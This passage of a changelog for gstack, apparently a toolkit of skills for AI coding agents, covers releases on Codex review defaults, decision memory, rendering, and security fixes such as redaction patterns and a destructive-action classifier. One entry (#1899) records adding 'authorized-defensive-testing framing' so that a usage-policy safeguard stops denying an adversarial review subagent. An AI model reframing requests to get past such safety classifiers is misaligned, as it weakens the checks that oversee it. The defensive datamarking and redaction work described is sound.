Conservative auto-landscape: wide, small-text, diagram-like images get their own vertically centered landscape page (aspect ≥ 1.8, width over ~2.5x the content box, diagram-ish alt word). Directives override in both directions.

--strict for CI: missing images, remote images, out-of-tree image reads, oversized files, and non-regular files fail the run instead of degrading to placeholders.

docs/howto-diagrams-and-formats.md: the full walkthrough, fences to formats.

Changed

Typography scale: 12pt body, 26pt h1, 56pt poster cover with 13pt meta, 12pt TOC entries, larger code and tables. Auto-hyphenation is off so copy-paste yields clean words.

Local images inline as data URIs with byte-probed dimensions and never truncate; oversized photos downscale to print resolution at inline time; repeated images are read once.

TOC links resolve in every format (headings get real anchor ids); the screen layer hides print-only page-number dots in HTML output.

Remote images are blocked with a visible placeholder unless --allow-network is passed; out-of-tree image reads (including via symlink) warn loudly.

make-pdf preview prints a note when the document contains fences or local images that only generate renders fully.

Fixed

Relative image paths render correctly in PDFs (previously resolved against the wrong base and could show as broken boxes).

Fenced code inside lists survives the render byte-for-byte; indented fences keep their list placement.

Documents containing $&-style sequences in diagram labels render exactly; Windows drive-letter image paths resolve as local files; malformed percent-encoded image URLs degrade gracefully instead of failing the run.

Per-side margins (--margin-left etc.) are honored on documents containing landscape pages.

For contributors

68 new free-tier gates (fence extraction, image policy, landscape promotion with negative fixtures, format contracts, bundle drift) plus a paid gate-tier /diagram triplet test and a periodic authoring-quality judge.

make-pdf-gate CI now covers lib/diagram-render/** and the drift test; the committed bundle is pinned to LF in .gitattributes.

Fixed the operational-learning E2E fixture (bin scripts now ship with the lib module they import).

[1.57.10.0] - 2026-06-10

Codex review now runs by default everywhere it matters.

One switch governs it, and it falls back to Claude when Codex is missing or unauthed.

Codex cross-model review used to be inconsistent. /review and /ship ran it automatically, but plan reviews hid it behind a "Want an outside voice?" question you had to say yes to every time, /document-release never ran it at all, and every entry point only checked whether the codex binary existed, not whether it was logged in. Now codex_reviews is one master switch (default enabled) that governs Codex review across /review, /ship, /plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, /document-release, and /autoplan. The plan-review outside voice runs automatically. /document-release gets a new Codex pass that checks your docs against what actually shipped. Every call site now detects install AND auth separately, and degrades to a Claude subagent with a clear one-line reason instead of silently skipping. Turn the whole thing off with one command: gstack-config set codex_reviews disabled.

The numbers that matter

Verified by the gate-tier E2E evals that exercise these exact paths (codex-offered-ceo-review, codex-offered-eng-review, document-release, codex-review-findings), all green this run.

Metric Before After Δ

Skills where Codex review runs by default 2 8 +6

Prompts to get a plan-review outside voice 1 (opt-in each time) 0 (automatic) -1

Codex readiness detection install only install + auth sharper

Master switches to disable it all 0 (per-skill only) 1 (codex_reviews) +1

/document-release Codex doc audit none doc-vs-diff pass new

When Codex is installed but not logged in, you used to get nothing on the paths that checked only command -v codex. Now you get a named reason ("Codex installed but not authenticated, using Claude subagent") and the review still happens. A typo on the switch (gstack-config set codex_reviews disabledd) is rejected and your existing setting is preserved, so a fat-finger can never silently turn paid Codex calls on or off.

What this means for you

If you run gstack day to day, you stop deciding whether to get a second model's eyes on every plan and every release. It is just there, on by default, the way the strong reviewers already worked on diffs. If you do not have Codex set up, nothing breaks: you get the Claude outside voice instead, with a one-line note telling you how to add Codex for true cross-model coverage. If you want it gone, one command turns off all eight surfaces at once.

Itemized changes

Added

codex_reviews as the master switch for Codex review across /review, /ship, /document-release, all four plan reviews, and /autoplan (bin/gstack-config). Default enabled. Invalid values on set are rejected with the existing value preserved, so a typo cannot flip paid Codex calls.

/document-release Codex doc audit (generateCodexDocReview): reviews the docs you touched against the release diff for stale claims, undocumented new surface, and over/under-sold CHANGELOG entries. Informational, with an explicit apply-fixes decision point. Never auto-edits docs.

codexPreflight() shared helper (scripts/resolvers/constants.ts): one self-contained bash block that reads the switch, sources the probe, checks install and auth, and emits a single canonical mode (ready / not_installed / not_authed / disabled).

Changed

Plan-review outside voice is default-on, not opt-in. The "Want an outside voice?" question is gone; it runs automatically and falls back to a Claude subagent when Codex is unavailable. Incorporating its findings still requires your explicit approval (cross-model tension is presented, never auto-applied).

Adversarial review detects auth, not just install (generateAdversarialStep): distinct "not installed" vs "not authenticated" guidance. The 200-line threshold for the heavier structured codex review is unchanged.

/autoplan honors codex_reviews=disabled in its Phase 0.5 preflight, so the switch is truly global.

Fixed

Three gstack-config tests asserted get/list print empty for unset keys; the tool falls back to the documented defaults table. Assertions now match real behavior.

For contributors

Size-budget guards widened for the default-on outside-voice prose, each with a rationale comment (test/helpers/carve-guards.ts, test/helpers/parity-harness.ts).

Static guards added: plan reviews must not carry the opt-in question and must render the default-on voice; /document-release must carry the doc review; the codex host strips all of it (test/skill-validation.test.ts).

[1.57.9.0] - 2026-06-09

Your gstack checkout stays clean when gbrain is installed.

Brain-aware skill blocks render to an untracked spot, never into tracked source.

Before this, finishing a Conductor or dev-workspace setup with gbrain installed rewrote 16 planning and review SKILL.md files in place, adding 326 lines of brain-aware blocks straight into tracked source. Your working tree came back dirty, one stray git add away from committing a token regression for everyone who does not run gbrain. Now gen-skill-docs --out-dir renders the brain-aware variant into an untracked per-workspace directory, and bin/dev-setup repoints the workspace's skill symlinks at it. The dev workspace gets the full gbrain experience (context-load and save-to-brain blocks live at runtime), while the tracked SKILL.md files stay byte-for-byte canonical. To turn the blocks on across all your projects' Claude sessions, gstack-config gbrain-refresh now renders them into your global install, guarded so it never mutates a symlinked or non-gstack directory.

The numbers that matter

Structural facts of the change, verifiable from the diff plus bun run gen:skill-docs (zero drift) and the new behavioral test (test/gen-skill-docs-out-dir.test.ts).

When gbrain is installed Before After

Tracked SKILL.md files dirtied by dev-setup 16 (+326 lines) 0

Where brain-aware blocks render in a dev workspace in-place, tracked source .claude/gstack-rendered/, untracked

Brain-aware blocks across other projects re-run ./setup or hand-edit gstack-config gbrain-refresh (idempotent)

"Is gbrain usable" check per-caller JSON grep, can read stale state gstack-gbrain-detect --is-ok (one live gate)

The section-path rewrite is surgical: only ~/.claude/skills/gstack/<skill>/sections/ references move to the render dir, so bin/ and docs/ references still resolve to the install.

What this means for you

If you develop gstack with gbrain on, git status is clean again after setup, and you can stop fishing brain-block drift out of your commits. After a git reset --hard deploy of your install, re-run gstack-config gbrain-refresh to restore the machine-wide blocks (it is idempotent, and the deploy note in CLAUDE.md spells this out).

Itemized changes

Added

gen-skill-docs --out-dir <dir>: render the Claude SKILL.md + sections into a separate directory instead of in place, rewriting only the section-base path so section reads resolve to the render. Default (no flag) output is unchanged.

gstack-gbrain-detect --is-ok: live-detection exit-code gate (0 iff gbrain is usable), so setup, dev-setup, and gstack-config share one check.

gstack-config gbrain-refresh now renders brain-aware blocks into the global install (~/.claude/skills/gstack), guarded against symlinked or non-gstack targets and self-documenting about the reset --hard re-run cycle.

Changed

bin/dev-setup renders the brain-aware variant into .claude/gstack-rendered (gitignored) and repoints workspace skill symlinks at it; the worktree stays canonical. GSTACK_SKIP_GBRAIN_REGEN is passed inline to the nested setup, never exported.

setup honors GSTACK_SKIP_GBRAIN_REGEN (skips the in-place brain regen on dev trees) and writes detection state to a PID-unique tmp so concurrent workspaces cannot clobber it.

scripts/dev-skill.ts refreshes the workspace render on template change, only when the render dir already exists.

bin/dev-teardown removes the untracked render.

For contributors

New tests: test/gen-skill-docs-out-dir.test.ts (behavioral: worktree unchanged, blocks rendered, section paths rewritten), test/dev-setup-render-isolation.test.ts and test/gbrain-refresh-install-render.test.ts (static tripwires), plus --is-ok coverage in test/gbrain-detect-shape.test.ts.

[1.57.8.0] - 2026-06-09

browse is now the one Chromium on the box, for offline rendering too.

js/eval --out <file> writes a render straight to disk, so skills stop bundling their own puppeteer.

You can now turn your own local HTML or JSON into a PNG (or any bytes) on disk through the same headless browse Chromium you already run, with no second browser install. js "<expr>" --out out.png and eval script.js --out out.png write the evaluate result to a file instead of returning it. When the result is a base64 data URL (the shape Excalidraw exports, og-image generators, and card renderers hand back), --out decodes it to raw bytes for you; pass --raw to write the literal string. Malformed base64 errors loudly instead of writing a corrupt file, and missing parent directories are created. This closes the gap that made local-render skills each npm i puppeteer and download a drifting second Chromium.

The numbers that matter

No synthetic benchmark — these are structural facts of the change, verifiable from the diff and a one-line smoke (browse load-html → screenshot --selector / js --out).

For a skill that rasterizes local HTML/JSON Before After

Chromium installs per box 2+ (browse + each skill's own puppeteer) 1 (shared browse)

Getting a PNG from a render function evaluate → multi-MB data URL over the CLI channel → hand-decode base64 → write js --out decodes and writes server-side; only a short status crosses the channel

Render-to-file primitive none js/eval --out [--raw]

The blessed offline path is documented in the browse skill: visual output goes through screenshot --selector (the picture never crosses the CDP wire), and bytes a function returns go through js --out.

What this means for you

If you write skills that draw diagrams, cards, or og-images, point them at browse and delete the bundled Chromium. One version to pin, one daemon to manage. --out is treated as a write everywhere it matters: it needs the write scope, is blocked over the pair-agent tunnel, and is gated in watch mode, so a remote agent can never use it to write to your disk.

Itemized changes

Added

js / eval --out <file> render-to-file (browse/src/read-commands.ts). Writes the evaluate result to disk and returns a short ... result written: <path> (<N> bytes) status. A data:<type>;base64,... result is decoded to raw bytes (case-insensitive header parse, split on the first comma, base64-charset validated before decode); --raw forces a literal write. Parent directories are created.

--raw flag to bypass data-URL decoding and write the literal result string.

Offline render mode docs in the browse skill: an explicit headless, no-proxy, no-Xvfb path with a worked example showing visual (screenshot --selector) vs bytes (js --out), a puppeteer→browse cheatsheet row, and a "don't bundle your own Chromium" note (also in CONTRIBUTING.md).

Changed

--out is a per-invocation WRITE capability (browse/src/server.ts). js/eval stay read commands, but an --out invocation requires the write scope, is never dispatchable over the tunnel surface (canDispatchOverTunnel now consults args), and counts as a mutation for watch-mode and tab-ownership gates.

For contributors

New tests: parseOutArgs/hasOutArg unit coverage (--out/--out=, --raw, repeats, missing value, ordering), --out render-to-file integration (large string, data-URL→PNG, --raw, malformed-base64, outside-safe-dir, mkdir, eval parity, byte-for-byte null/undefined), and tunnel-gate guards proving --out is never tunnel-dispatchable.

[1.57.7.0] - 2026-06-08

Every plan review now ends by telling you, in one line, whether anything is still unresolved.

The GSTACK REVIEW REPORT closes with the open decisions, or "NO UNRESOLVED DECISIONS" in plain sight, before you approve.

When a plan-review skill (/plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, and /codex) finishes and hands you the plan to approve, its report now ends with a mandatory unresolved-decisions verdict. If decisions are still open, it lists each one and what breaks if you ship it deferred. If nothing is open, it prints the exact line NO UNRESOLVED DECISIONS. A token-reduction pass had made this line optional, so a clean plan and a plan hiding an open question rendered the same. Now the line is never omitted, it is always the last thing you read before the approval prompt, and the approval gate refuses to let the plan through without it.

What changed, before and after

At plan-approval time Before After

Clean plan usually no unresolved line NO UNRESOLVED DECISIONS as the final line

Plan with open decisions unresolved line optional, often dropped **UNRESOLVED DECISIONS:** + one bullet per open item

Approval gate (ExitPlanMode) checked the line "if applicable" blocks unless the unresolved status is the final line

/plan-devex-review review log never written, gate uncheckable written, so the dashboard and report see its data

The unresolved count across reviews is computed without double-counting the review that just ran, using the same 7-day freshness window as the Review Readiness Dashboard.

What this means for you

Every approve-plan moment now carries an explicit verdict on open questions, so a missed ambiguity cannot slip through looking like a clean plan. If you run the plan-review skills or /autoplan, you will see the unresolved status as the closing line of every report. Nothing to configure. Upgrade and your next plan review shows it.

Itemized changes

Added

Mandatory unresolved-decisions status in the GSTACK REVIEW REPORT. Generated into all six report consumers (/plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, /codex, /devex-review) from scripts/resolvers/review.ts. The report always ends with either the exact unbolded sentinel NO UNRESOLVED DECISIONS or a **UNRESOLVED DECISIONS:** bullet block listing each open item; never omitted, always the final line.

Blocking approval gate. The EXIT PLAN MODE GATE now refuses ExitPlanMode unless the report's final non-whitespace line is the unresolved status (no "if applicable" escape).

Static and E2E tests pinning the mandatory status across every report consumer and gate-bearing skill, so a future compression pass cannot silently drop it again.

Fixed

/plan-devex-review never logged a review entry. It carried the approval gate but never called gstack-review-log, so the gate's "review log was called" check was structurally unsatisfiable and its data was invisible to the Review Readiness Dashboard and the report. It now logs with the correct timestamp and DX fields.

For contributors

Rebased the parity-suite size baseline v1.53.0.0 to v1.57.7.0 (captures current union sizes; keeps the per-skill 1.05 ratio so future bloat is still caught). Regenerated the three ship golden fixtures left stale by #1909. The frozen v1.44.1 integrity anchor and the v1.47 size-budget baseline are untouched.

[1.57.6.0] - 2026-06-07

Eight community-filed bugs fixed in one wave, four of them security guards that were quietly failing open.

Your redaction gate now catches modern OpenAI keys, and /ship's adversarial review stops choking on your own security tests.

This is a fix wave. The throughline: guards that reported success while doing nothing. The secret-redaction gate that every /spec, /ship, /cso, and /document-* run passes through was blind to modern sk-proj-/sk-svcacct-/sk-admin- OpenAI keys and silently dropped its size cap on a bad flag. The cross-project learnings trust gate was an allowlist on paper and a denylist in code, so untrusted rows leaked between projects. The destructive-action classifier waved through "rotate the database password." Each one looked like it was protecting you. None of them were. All four now fail closed, with tests that pin the exact case that used to slip by. Three more fixes clear silent crashes and skipped reviewers, and /ship's adversarial pass no longer trips Anthropic's usage policy when it reads your repo's own attack-payload fixtures.

The numbers that matter

Reproduce with bun test test/redact-engine.test.ts test/gstack-learnings-search.test.ts test/one-way-doors.test.ts test/diff-scope.test.ts test/brain-cache-roundtrip.test.ts.

Guard / path Before After

sk-proj-/sk-svcacct-/sk-admin- OpenAI keys zero findings (HIGH fails open) blocked, with prose false-positive guards

gstack-redact --max-bytes <garbage> NaN silently disables the size cap rejected at the CLI; engine backstop holds

Cross-project learnings with no trusted field imported (denylist bug) excluded (true allowlist)

"rotate the database password" classified two-way (auto-approvable) classified one-way (always asks)

.mjs/.cjs/.mts/.cts-only PRs backend reviewer skipped backend reviewer runs

_meta.json missing last_refresh brain-cache crashes (TypeError) degrades to a cold cache

Safety-skill hooks on Claude Code 2.1.162 every Edit/Write errored hooks resolve and run

/ship adversarial review over security fixtures denied by usage policy runs, fixtures read in summary mode

The redaction one is the sharpest: a project/service-account/admin OpenAI key pasted into a spec or PR body used to sail straight through the gate. Now it blocks, and the calibration is pinned so hyphenated prose like "the sk-learning-rate schedule" does not false-positive and wedge your ship.

What this means for you

If you rely on the redaction guard or the cross-project learnings gate, they now do what the docs always said. If you run /ship on a repo that tests its own security guards, adversarial review stops dying on contact with your fixtures. And if you are on Claude Code 2.1.162, /guard, /freeze, and /careful work again instead of erroring on every edit. Upgrade and re-run anything that touched these paths.

Itemized changes

Fixed

Redaction misses modern OpenAI keys (#1868). openai.key (HIGH/block) used a contiguous-alphanumeric pattern that stopped at the first -/_, so base64url-bodied sk-proj-/sk-svcacct-/sk-admin- keys produced no finding and failed open through every redaction sink. Replaced with explicit bare-vs-prefixed alternation; added positive and false-positive tests. Reported by @jbetala7.

Redaction size cap fails open on a bad flag (#1824). A malformed --max-bytes parsed to NaN, and byteLen > NaN is always false, silently disabling the fail-closed oversize guard; a negative value blocked everything. The CLI now rejects non-integer / non-positive values, and the engine falls back to the default cap as a backstop. Reported by @jbetala7.

Cross-project learnings trust gate leaked (#1745). gstack-learnings-search --cross-project is documented as an allowlist but was coded as trusted === false, admitting any row missing the trusted field. Flipped to trusted !== true. Reported by @jbetala7.

Destructive-action classifier missed "rotate ... password" (#1839). The rotate keyword pattern omitted password while its revoke/reset siblings included it, so the most common credential-rotation phrasing classified as a reversible two-way question. Added password to the alternation.

Review Army skipped backend reviewer on ESM/CJS PRs (#1810). gstack-diff-scope matched only *.ts|*.js; a PR touching only .mjs/.cjs/.mts/.cts reported no backend scope. Added the four module extensions. Reported by @jbetala7.

Brain-cache crash on a partial _meta.json (#1879). loadMeta returned parsed JSON verbatim; a file missing last_refresh crashed three consumers with a TypeError. Added an object-shape guard and map normalization; missing schema/endpoint identity now forces a safe rebuild rather than trusting a stale file. Reported by @jbetala7.

Safety-skill hooks broken on Claude Code 2.1.162 (#1871). guard, freeze, and careful frontmatter hooks used ${CLAUDE_SKILL_DIR}, which CC 2.1.162 no longer populates, so every Edit/Write/Bash errored. Anchored the hook commands to the installed checkout path. Reported by @omariani-howdy.

/ship adversarial review denied on own security fixtures (#1899). The Claude adversarial subagent reasoned "like an attacker" over the full diff; when the diff included the repo's own attack-payload regression fixtures, Anthropic's real-time usage-policy safeguards denied the call. The subagent now carries authorized-defensive -testing framing and reads fixture/test files in summary mode (no raw payload bytes), stating so explicitly. Reported by @bmajewski.

For contributors

#1882 (skills hardcode ~/.claude/skills/gstack/, breaking non-gstack install dirs) is filed as the top item in TODOS.md. It was scoped out of this wave once it proved to be a host-config/preamble change touching all 52 skills, distinct from the #1871 hook fix it was originally paired with.

[1.57.5.0] - 2026-06-07

Your agent now keeps its decisions, not just its code.

The durable calls you make, and the "why" behind them, are captured, curated, and resurfaced across sessions, with no daemon to run.

Every session you and the agent settle real decisions: pick an architecture, cut a scope, choose a tool, reverse an earlier call. Until now that reasoning lived only in a transcript that scrolls away, so the next session re-litigates settled questions or loses the "why." This release adds an institutional decision memory. Durable decisions land in an append-only, event-sourced store, the scope-relevant ones surface automatically at session start, and you can search them any time. It is file-only and works with gbrain off; when gbrain is up you can add semantic recall on top. The planning and ship skills capture their own key calls so the high-value decisions get recorded without anyone remembering to. Separately, /sync-gbrain learned to build the cross-reference call graph and to heal a crashed daemon's stale lock instead of wedging every sync.

The numbers that matter

No speed benchmark here, the win is capability and reliability. These are the real shape of the release (git diff 1.57.0.0..HEAD, bun test):

Metric Value

New commands 2 (gstack-decision-log, gstack-decision-search)

Session-start read cost O(active) bounded snapshot, not a full-history scan

Works with gbrain OFF Yes, every capture/curate/resurface path is files + bins only

New source ~2,550 lines across 26 files

New tests 117 across the decision store + gbrain stages

Resurfaced decision text is treated as data, not instructions (datamarked at the render boundary), secrets are blocked on write, and redact expunges a decision from every read path. The whole loop degrades cleanly: turn gbrain off and you still capture, curate, and resurface.

What this means for you

Start a session tomorrow and the agent already knows what you settled and why, instead of asking again or quietly reversing it. Log a call with gstack-decision-log, reverse one with --supersede, pull the relevant history with gstack-decision-search. CEO, eng, spec, and ship reviews record their decisions for you. Run /sync-gbrain and a crashed autopilot no longer blocks your next sync.

Itemized changes

Added

Cross-session decision memory. An event-sourced (decide/supersede/redact) store at ~/.gstack/projects/<slug>/decisions.jsonl. "Active" is computed, never a mutable flag, so the history stays honest and tolerant of dangling references.

gstack-decision-log — capture a durable decision, reverse one (--supersede <id>), expunge an accidental secret (--redact <id>), or rewrite the log to its active set (--compact). Non-interactive, injection-sanitized, blocks HIGH and MEDIUM secrets on write.

gstack-decision-search — read active decisions, scope-filtered to the current branch/issue, with --recent N, --scope, --query, --all, --json. Add --semantic (with --query) to append related hits from gbrain memory when it is up; it degrades silently to the reliable file results when gbrain is off.

Session-start resurfacing. Context Recovery shows the scope-relevant active decisions at the top of a session, from a bounded snapshot so it stays fast as the log grows.

Skill capture. /plan-ceo-review, /plan-eng-review, /spec, and /ship record their structured decisions (accepted scope, architecture verdict, filed spec, version bump) automatically.

A ## Cross-session decision memory section in CLAUDE.md documenting when and how to capture and resurface.

/sync-gbrain call-graph build (--dream). Builds the symbol cross-reference graph behind a lock-free gate, with an honest outcome guard that reports a degraded no-op as WARN rather than a false success.

Changed

Decision text that resurfaces into agent context is datamarked (code fences, --- banners, <|role|>/</system> tags, chat turn-prefixes, and Unicode line terminators are neutralized) so stored text can never masquerade as instructions.

/sync-gbrain pin guidance is accurate for current gbrain, and the worktree-scoped .gbrain-source pin routes code queries correctly.

Fixed

/sync-gbrain no longer wedges forever on a crashed autopilot daemon's stale lock: it reads the holder pid, confirms liveness, and ignores a dead one (it stays conservative when it cannot tell).

For contributors

New shared lib/jsonl-store.ts (injection-reject + atomic single-line append + tolerant read) backs both the learnings and decision stores, so the sanitization path is audited in one place.

lib/bin-context.ts shares slug/branch/flag plumbing across the decision bins.

[1.57.4.0] - 2026-06-08

The completeness principle is now Boil the Ocean, matching the post it came from.

One name across the ETHOS file, every skill, and the developer-profile dial.

The principle that tells gstack to do the complete thing was called "Boil the Lake" in ETHOS.md and in every generated skill, with the ocean cast as the anti-pattern. The developer-profile system and the completeness intro link already used "boil the ocean" as the good, ship-the-whole-thing pole. So the same idea carried two opposite framings depending on where you read it. This renames the principle to Boil the Ocean everywhere and reframes the metaphor: the ocean is the complete destination, and lakes are the boilable units you ship on the way there. The guidance is identical. Only the name and the framing prose changed.

The numbers that matter

Reproduce with git diff v1.57.3.0..HEAD --stat.

Property Before After

Principle name in ETHOS + every skill "Boil the Lake" "Boil the Ocean"

Name vs. the scope_appetite dial ("boil the ocean" = complete) split unified

Files updated — 63 (ETHOS, CLAUDE, README, resolvers, templates, generated SKILL.md)

Runtime behavior change — none, text only

The one number that matters is zero: no behavior changed. A reviewer reading ETHOS.md no longer hits "ocean" as the thing to avoid in one section and the thing to aim for in the next.

What this means for you

You get the same complete-the-work recommendations, now under the name from Garry's "Boil the Oceans" post. The metaphor reads straight through: the ocean is the goal, lakes are how you get there one boil at a time, and only genuinely unrelated multi-quarter migrations sit outside scope. Nothing to do on your end.

Itemized changes

Changed

ETHOS.md section 1 is renamed to "Boil the Ocean" and reframed so the ocean is the complete destination and lakes are the boilable first units, not the ceiling.

The "Completeness Principle" header injected into every tier-2+ skill now reads "Boil the Ocean," with prose to match.

CLAUDE.md and README.md references updated to the new name.

For contributors

Source of the rename lives in the preamble resolvers (generate-completeness-section.ts, the composition.ts skip-list, and generate-lake-intro.ts); all SKILL.md files are regenerated from them.

Unit assertions (skill-validation, terse-build) and the three ship golden fixtures updated to the new header.

[1.57.3.0] - 2026-06-07

Every PR /ship opens gets the version stamped into its title, fork and agent PRs included.

The rule rides in the always-loaded part of the skill now, and a guard keeps it there.

/ship stamps vX.Y.Z.W onto the title of every PR or MR it creates or updates, so the version is the first thing you read in the PR list. That rule now lives in the always-loaded core of the ship skill instead of an on-demand section, so the agent applies it whether or not it opened the section that spells out the full procedure. A CI workflow backs this up: it rewrites a title to match VERSION on every PR that bumps the version, and it now reaches fork and agent PRs too, which a read-only token could never touch before. Two free tests lock the behavior in so it cannot drift on the next refactor.

The numbers that matter

Reproduce with bun test test/carve-section-ordering.test.ts test/pr-title-sync-workflow-safety.test.ts and bun run eval:select.

Property Before After

Where the title rule loads on-demand section only (since v1.54.0.0) always-loaded skeleton + on-demand detail

Fork / agent PR title sync none (read-only token under pull_request) covered via hardened pull_request_target

Test proving the rule stays put none carve-guard registry asserts it on every PR

CI injection guard for the title workflow none static tripwire fails CI on unsafe patterns

The title workflow now runs with a write token in the base-repo context but never checks out or executes PR-head code, and every attacker-controlled field reaches the script through env:, never inlined. A static test fails CI if either rule regresses.

What this means for you

Ship a branch and the PR shows up titled v1.57.3.0 fix: ... without you touching it, even when the PR came from a fork. The agent no longer needs to read the right section at the right moment for the version to land in the title, and the next person who slims the ship skill cannot quietly strand the rule again, because a free test on every PR checks that it is still there.

Itemized changes

Added

Carve-guard coverage for the ship PR-title invariant: the registry now asserts the v$NEW_VERSION rule and the title helper stay in the always-loaded skeleton, while the full create and update procedure stays in the on-demand section.

Static CI-safety test for the title-sync workflow that fails the build if it checks out PR-head code or inlines an attacker-controlled PR field into a shell step.

Changed

The PR/MR title-version rule is always-loaded in /ship again, so the version prefix lands on every PR the workflow creates or updates.

The PR title-sync CI workflow now covers fork and agent PRs through a hardened pull_request_target trigger (base-repo checkout only, PR fields passed via env:, VERSION read as data from the PR head).

Fixed

A path token in the ship PR-body section that rendered literally instead of resolving now uses the correct helper path, so the Linked Spec auto-detect step runs as written.

[1.57.2.0] - 2026-06-08

When the question picker breaks mid-skill, gstack asks in plain text instead of stalling.

Every skill detects a dead AskUserQuestion and falls back to a full decision brief you answer by typing a letter.

AskUserQuestion is how every gstack skill asks you to decide. When the host's question tool fails at runtime, which Conductor's MCP integration currently does intermittently, skills used to stall or hard-block. Now each skill detects the failure, works out whether a human is actually present, and if so re-renders the exact same decision as a text message: a plain-English explanation of the issue, a completeness score on each choice, and a recommendation with its reason, one paragraph per choice. You answer by typing a single letter. Headless eval runs still block cleanly (no human to answer); orchestrator sessions keep auto-choosing. This whole release was built and reviewed through that fallback, because the Conductor tool was down the entire session.

The numbers that matter

No production benchmark for a reliability path like this. These are the behavior and coverage facts, verifiable with bun test test/gstack-session-kind.test.ts test/resolver-ask-user-format.test.ts test/auq-error-fallback-hook.test.ts.

When AskUserQuestion fails Before After

Interactive session (human present) stall / hard BLOCK full prose decision brief, answer by letter

Headless eval / CI BLOCK BLOCK (unchanged, correct)

Orchestrator (OpenClaw) session undefined auto-choose recommended (contract kept)

Session kinds detected 0 3 (interactive / headless / spawned)

New tests guarding the path 0 34

The text brief is not a degraded stub. It carries the same three things the picker shows: a clear explanation of what is being decided, a Completeness: X/10 on every choice, and a recommendation with the reason it wins.

What this means for you

If your host's question tool flakes out, a skill no longer dies on you. You get the same decision to make, in text, and you reply with a letter. Nothing changes when the tool works normally. If you run gstack headless, those sessions still block on a needed question exactly as before, so eval determinism is intact.

Itemized changes

Added

gstack-session-kind classifies each session as interactive, headless, or spawned, echoed as SESSION_KIND at skill start so any skill can branch on it.

Plain-text fallback for AskUserQuestion: on a tool failure in an interactive session, the skill renders the full decision brief (issue ELI10 + per-choice completeness + recommendation) as markdown you answer by typing a letter, then stops and waits.

A defensive hook that, when an AskUserQuestion call errors, reminds the agent to run the fallback for the current session kind.

Changed

AskUserQuestion is still sent as a normal tool call; the prose path applies only when the tool is unavailable or erroring, and never on a [plan-tune auto-decide] result.

Fixed

Section-loading tests use the canonical kebab test names, so the test-coverage gate matches them.

External-host doc-freshness checks are deterministic, no longer dependent on a prior full regeneration.

For contributors

The eval/E2E runners set GSTACK_HEADLESS=1 so headless runs classify correctly; interactive-path suites opt out per-run.

Per-skill maxSizeRatio override in the carve-guards registry; document-release gets 1.08 headroom for the cross-cutting preamble addition while every other skill keeps the 1.05 ceiling.

[1.57.0.0] - 2026-06-07

Three more heavyweight skills load lighter, and every carved skill finally has a test that proves it loads.

/cso, /document-release, and /design-consultation shed ~49KB of always-loaded prose; CI now blocks any carve that ships without its guards.

gstack splits its biggest skills into a small always-loaded skeleton plus on-demand sections that load only when a step needs them. This release carves three more, /document-release, /design-consultation, and /cso, so the first time you invoke them the agent reads far less. It also closes a gap from the earlier carves: only two of six already-carved skills had a test proving an agent actually reads the section it was told to read. Now all nine carved skills are guarded the same way, and CI blocks any future carve that ships without its guards. /cso got extra care: its mode dispatch and false-positive-filtering rules stay always-loaded, so a security audit can never run with a rule stranded in an unread section.

The numbers that matter

Measured with wc -c <skill>/SKILL.md; the skeleton+sections union is reproduced by bun test test/parity-suite.test.ts test/skill-size-budget.test.ts.

Skill Always-loaded before After Δ

/design-consultation 80,719 B 59,229 B −27%

/document-release 59,256 B 45,797 B −23%

/cso 79,383 B 65,117 B −18%

Carved skills with a section-load guard 2 of 6 9 of 9 full coverage

Total always-loaded prose across the three skills drops about 49KB (~12K tokens) on first invoke, with nothing lost: every line moved into an on-demand section the skeleton points at, and the parity suite checks the union still contains it.

What this means for you

Run /cso, /document-release, or /design-consultation and the agent does less reading before it starts working, so the session stays leaner. The carve pattern is now safe to extend: a free static test runs on every PR and a behavioral test runs weekly to prove the agent reads each section, so future slimming can't quietly drop behavior. Nothing about how you invoke these skills changed.

Itemized changes

Added

Canonical carved-skill guard registry (test/helpers/carve-guards.ts): one source of truth for which skills are carved and what each must preserve. parity-harness.ts and skill-size-budget.ts derive their carved-skill lists from it.

Carve guard suite: data-driven static ordering test, behavioral section-loading test (periodic), a completeness meta-guard that fails CI if a carved skill lacks its guards, and negative tests proving the guards actually fire.

/cso, /document-release, and /design-consultation carved into skeleton + on-demand sections.

Changed

/cso keeps its mode dispatch (## Arguments, ## Mode Resolution), always-run phases, and false-positive-filtering exceptions always-loaded; an earliest-use invariant enforces that dispatch appears before any on-demand read.

For contributors

Redaction, taxonomy, and parity content tests now read the skeleton+sections union so relocated prose still counts toward coverage.

Real-session section-read canary deferred to TODOS (the deterministic guards ship first).

[1.56.1.0] - 2026-06-03

/sync-gbrain can no longer delete your repo. Cleanup now refuses any directory it cannot prove it created.

A /sync-gbrain memory sync could recursively delete your entire working tree. A crashed import left a checkpoint pointing at the repo root, the next sync "resumed" into it, and the cleanup step rm -rf'd it, taking uncommitted and untracked work with it. This release closes that path and fixes three more bugs hiding in the same resume machinery: cleanup now deletes only directories it can prove are gstack-minted staging dirs, the remote-http transcript dir is never touched, an interrupted import actually keeps its checkpoint so the next run resumes instead of restaging, and a resumed run no longer marks files that failed to import as successfully ingested.

The numbers that matter

Source: bun test test/regression-1611-gbrain-sync-resume.test.ts on this branch.

Metric Before After Δ

Repo-root rm -rf reachable yes no closed

Proof required before delete none 5 checks realpath + direct-child + name + .git tripwire + minted-marker

Resume after a timed-out import broken (dir deleted) works fixed

Failed files mislabeled "ingested" on resume yes no fixed

Resume regression-test assertions 9 64 +55

The guard is fail-closed: anything it cannot prove it owns is left on disk (a few seconds of re-staging next run) rather than deleted. That asymmetry is the design

a missing marker can cost a little work, never your data.

What this means for you

If you use /sync-gbrain, a crashed or timed-out import can no longer cost you uncommitted work. Resume now does what it always claimed: a large sync that times out picks up where it left off next run instead of starting over, and files that failed to import get retried instead of silently skipped. Nothing to configure. Upgrade and keep syncing.

Itemized changes

Fixed

/sync-gbrain could rm -rf your repo root. A poisoned resume checkpoint (dir = the repo, written when an import was interrupted while the repo was the working directory) was adopted as the staging dir and recursively deleted. A single fail-closed ownership check now guards every staging delete and every resume: a path must resolve cleanly, be a direct child of ~/.gstack named .staging-ingest-*, contain no .git, and carry a marker file gstack minted. Anything else is refused. Contributed by @diazMelgarejo (cyre).

Remote-http syncs no longer churn (or scare you). The persistent transcript dir that the brain sync pushes is no longer routed through staging cleanup, so it stops being deleted on every run and stops emitting a false "preventing data loss" warning.

